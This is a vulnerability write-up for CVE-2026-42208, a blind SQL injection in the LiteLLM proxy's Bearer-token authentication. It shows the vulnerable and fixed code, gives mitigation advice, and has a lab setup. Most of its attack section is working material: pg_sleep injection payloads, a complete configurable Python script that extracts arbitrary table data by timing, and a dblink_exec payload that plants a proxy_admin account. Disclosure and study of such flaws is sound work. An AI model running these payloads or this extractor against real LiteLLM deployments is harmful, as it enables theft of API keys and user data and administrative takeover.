Security

Exploit CVE-2026-42208: LiteLLM Unauthenticated SQL Injection via Bearer Token

A technical breakdown of CVE-2026-42208, a CVSS 9.3 critical unauthenticated SQL Injection vulnerability in the LiteLLM Proxy API. Improper parameterization of the Bearer token within raw SQL queries used for complex multi-table joins allows blind boolean-based timing attacks, enabling unauthenticated attackers to exfiltrate sensitive data including virtual API keys, user information, and LLM spend logs directly from the database.

Fri 22 May 2026

LiteLLM Unauthenticated SQL Injection - PoC & Exploit

May 22, 2026 · CVSS 9.3 Critical · LiteLLM Proxy

CVE ID CVSS Affected Fixed
CVE-2026-42208 9.3 Critical (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) >= 1.81.16, < 1.83.7 1.83.7+

CVE-2026-42208 Overview: SQLi via Bearer Token

LiteLLM is a widely adopted open-source AI proxy and gateway that allows developers to manage access, routing, and spend tracking across hundreds of LLM providers (OpenAI, Anthropic, Gemini, etc.) using a unified interface.

A critical Unauthenticated SQL Injection (SQLi) vulnerability was discovered in how LiteLLM validates user authentication tokens. When an application attempts to make an API call to the proxy (e.g., /v1/chat/completions), it passes a virtual API key in the Authorization: Bearer <key> header. While the Prisma ORM securely parameterizes standard queries, a specific, complex database query designed to gather comprehensive user and team metadata manually interpolates the raw, unsanitized token into a raw SQL string. This oversight allows an unauthenticated attacker to inject arbitrary SQL commands into the backend PostgreSQL database.

The Vulnerability: Raw SQL String Interpolation

The root cause of this vulnerability resides in the authentication middleware, specifically within the get_data() function located in litellm/proxy/utils.py.

Authentication Flow & The Flaw

1. The Normal Flow (Legitimate User) When a legitimate user makes a request with a valid proxy key (e.g., sk-abc123xyz), LiteLLM extracts the token and checks if it starts with the "sk-" prefix. Because it does, the application computes the SHA-256 hash of the token and forwards only the hash to the database layer.

2. The Attack Flow (SQL Injection) When an attacker provides a malicious payload like ' OR (SELECT pg_sleep(3)) IS NULL --, the application again checks for the "sk-" prefix. Because the payload does not start with "sk-", the hashing logic is completely bypassed. The application erroneously assumes it is just a legacy or custom token format and forwards the raw, unhashed SQL payload directly to the database layer.

Vulnerable Code

To build a "combined view" of a user's token, team, project, organization, and budget limits, the developers opted to use db.query_raw instead of the standard ORM functions due to the complexity of the required LEFT JOIN operations.

In litellm/proxy/utils.py:

elif table_name == "combined_view":
    # ... 
    if query_type == "find_unique":
        # ...
        sql_query = f"""
            SELECT 
                v.*,
                t.spend AS team_spend, 
                t.max_budget AS team_max_budget,
                t.soft_budget AS team_soft_budget,
                t.tpm_limit AS team_tpm_limit,
                t.rpm_limit AS team_rpm_limit,
                t.models AS team_models,
                -- [Multiple other SELECTs and JOINs]
            FROM "LiteLLM_VerificationToken" AS v
            LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
            -- ...
            WHERE v.token = '{token}'
        """

        response = await self._query_first_with_cached_plan_fallback(sql_query)

By utilizing a Python f-string (f"""... WHERE v.token = '{token}'"""), the {token} variable is directly concatenated into the SQL statement. Without proper parameterized binding (e.g., passing $1), any user-controlled string containing a single quote (') breaks out of the SQL string literal, leading to SQL Injection.

Proof-of-Concept: Blind SQL Injection and Timing Attacks

Because the LiteLLM API expects a valid token object to be returned from this query, any injected query will ultimately result in an authentication failure (401 Unauthorized), hiding the direct database output from the HTTP response. To extract data, an attacker must rely on Blind Boolean-Based Timing Attacks.

Testing Setup

To validate the vulnerability safely, a local Docker lab was built using the vulnerable main-v1.83.6-nightly image connected to a PostgreSQL 16 backend:

docker-compose.yml (Snippet)

services:
  litellm:
    image: ghcr.io/berriai/litellm:main-v1.83.6-nightly
    ports:
      - "4000:4000"
    environment:
      - DATABASE_URL=postgresql://llmproxy:dbpassword9090@db:5432/litellm

Payload Delivery

By injecting the PostgreSQL pg_sleep() function, an attacker can force the database to pause execution, using the HTTP response time as a true/false oracle.

A simple PoC payload to confirm the vulnerability:

' OR (SELECT pg_sleep(3)) IS NULL --

When placed in the Authorization: Bearer header, the backend executes:

WHERE v.token = '' OR (SELECT pg_sleep(3)) IS NULL --'

This forces a 3-second delay on the server response, confirming the injection point.

An attacker can systematically extract the entire database—including LiteLLM_SpendLogs (containing detailed prompt usage) and LiteLLM_VerificationToken (containing hashed API credentials)—by asking the database a series of True/False questions.

Using a binary search algorithm, the attacker can guess the ASCII value of each character of the desired data. Below is a complete, configurable Python Proof-of-Concept script that automates this timing attack to extract any row from any table:

import argparse
import json
import sys
import time
import urllib.request

def test_payload(url, token, sleep_time):
    body = json.dumps({"model": "fake", "messages": [{"role": "user", "content": "x"}]}).encode()
    req = urllib.request.Request(url, data=body, method="POST",
        headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"})
    start = time.time()
    try: urllib.request.urlopen(req, timeout=sleep_time + 1)
    except: pass
    return time.time() - start

def extract_string(url, query, sleep_time=1.0):
    extracted = ""
    idx = 1
    while True:
        # Check end of string
        check_end = f"' OR (LENGTH(({query})) < {idx} AND (SELECT pg_sleep({sleep_time})) IS NOT NULL) --"
        if test_payload(url, check_end, sleep_time) >= sleep_time:
            break

        low, high = 32, 126
        while low <= high:
            mid = (low + high) // 2
            payload = f"' OR (ASCII(SUBSTRING(({query}), {idx}, 1)) > {mid} AND (SELECT pg_sleep({sleep_time})) IS NOT NULL) --"
            if test_payload(url, payload, sleep_time) >= sleep_time:
                low = mid + 1
            else:
                high = mid - 1

        extracted += chr(low)
        sys.stdout.write(chr(low))
        sys.stdout.flush()
        idx += 1
    print()
    return extracted

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="LiteLLM Blind SQLi Data Extractor")
    parser.add_argument("--url", default="http://127.0.0.1:4000/v1/chat/completions")
    parser.add_argument("--table", default="LiteLLM_VerificationToken", help="Table to extract from")
    parser.add_argument("--column", default="token", help="Column to extract")
    parser.add_argument("--row", type=int, default=0, help="Row index (OFFSET)")
    args = parser.parse_args()

    query = f"SELECT {args.column} FROM \"{args.table}\" LIMIT 1 OFFSET {args.row}"
    print(f"[*] Extracting: {query}")
    extract_string(args.url, query)

Running the script successfully extracts data character-by-character from the backend, including the email address stored in the user database:

PoC execution extracting a user email from the LiteLLM user database

Figure 1: PoC execution extracting a user email from the LiteLLM user database via the Blind SQLi timing attack.

The Spend Log Leak

An interesting secondary finding during this analysis revealed that while LiteLLM securely stores legitimate sk- tokens as SHA-256 hashes in the LiteLLM_VerificationToken table, it inadvertently logs the unhashed, raw payloads of invalid keys into the LiteLLM_SpendLogs table. Legitimate keys remain securely hashed in the logs, but this behavior creates a perfect audit trail of the attacker's SQL injection attempts.

Advanced Escalation: RCE & Bypassing ORM Protections (Good to Know)

Typically, attackers exploit SQL injections to modify data or escalate privileges using "stacked queries" (e.g., executing multiple statements separated by a semicolon ; like SELECT ... ; INSERT ...).

In this environment, the Prisma ORM driver strictly blocks stacked queries, seemingly trapping the attacker in a read-only SELECT context. However, depending on PostgreSQL configurations and extensions, attackers can escalate this significantly:

1. RCE via COPY TO PROGRAM If the database was misconfigured to run using a superuser (such as postgres), an attacker can bypass the inability to execute INSERT/UPDATE by targeting the host operating system. Using the PostgreSQL COPY TO PROGRAM feature or file reading functions like pg_read_file(), an attacker can exfiltrate sensitive files (like SSH keys or environment variables) or achieve full Remote Code Execution (RCE) on the database server.

2. Bypassing Stacked Queries via dblink In environments where the PostgreSQL dblink extension is enabled (a common extension for cross-database querying), the ORM's stacked query defense can be completely bypassed. By injecting the dblink_exec() function into the SELECT statement, an attacker can force the database to open a new, independent connection to itself and execute an arbitrary INSERT command:

' OR (SELECT dblink_exec('dbname=litellm ...', 'INSERT INTO "LiteLLM_UserTable" (user_email, password, user_role, ...) VALUES (''hacked@lab.local'', ''scrypt:...'', ''proxy_admin'', ...)')) IS NOT NULL --

While dblink is not enabled by default on all PostgreSQL setups, it highlights a powerful escalation path that transforms a read-only data exfiltration vulnerability into a full administrative takeover of the LiteLLM dashboard.

The Fix in LiteLLM 1.83.7

The patched behavior removes the dangerous raw string interpolation. Instead of inserting the {token} directly into the f-string, the developers updated the query to use parameterized bindings ($1), safely isolating the attacker's payload from the SQL syntax:

# Fixed Code (LiteLLM 1.83.7+)
sql_query = """
    SELECT 
        v.*,
        t.spend AS team_spend,
        ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
    WHERE v.token = $1
"""
response = await self._query_first_with_cached_plan_fallback(sql_query, token)

With this change, the database driver treats the payload purely as a string literal, preventing any injection characters from altering the query logic.

Immediate Mitigation

If upgrading is not immediately possible, you can implement the official workaround by setting disable_error_logs: true under general_settings in your litellm_config.yaml. This configuration removes the specific error-handling path through which the unauthenticated input reaches the vulnerable database query, effectively neutralizing the attack vector.

Remediation

  • Update Now: Upgrade your LiteLLM instance to the latest patched release (v1.83.7 or later) immediately. The caller-supplied value is now safely passed to the database as a separate, parameterized variable.
  • Use Parameterized Queries: Developers must avoid string interpolation (f"...") when building SQL queries. Always rely on ORM functions or use parameterized binding ($1) for raw queries to prevent SQL parsing manipulation.
  • Database Hardening: Database administrators should proactively remove or restrict PostgreSQL extensions like dblink unless strictly required. Additionally, ensure the database user (e.g., llmproxy) runs with the absolute minimum privileges required, strictly preventing superuser access or COPY TO PROGRAM file execution rights.
  • Monitor Logs: Audit LiteLLM_SpendLogs and database slow-query logs for abnormal pg_sleep delays or raw SQL payloads appearing in the api_key fields.

References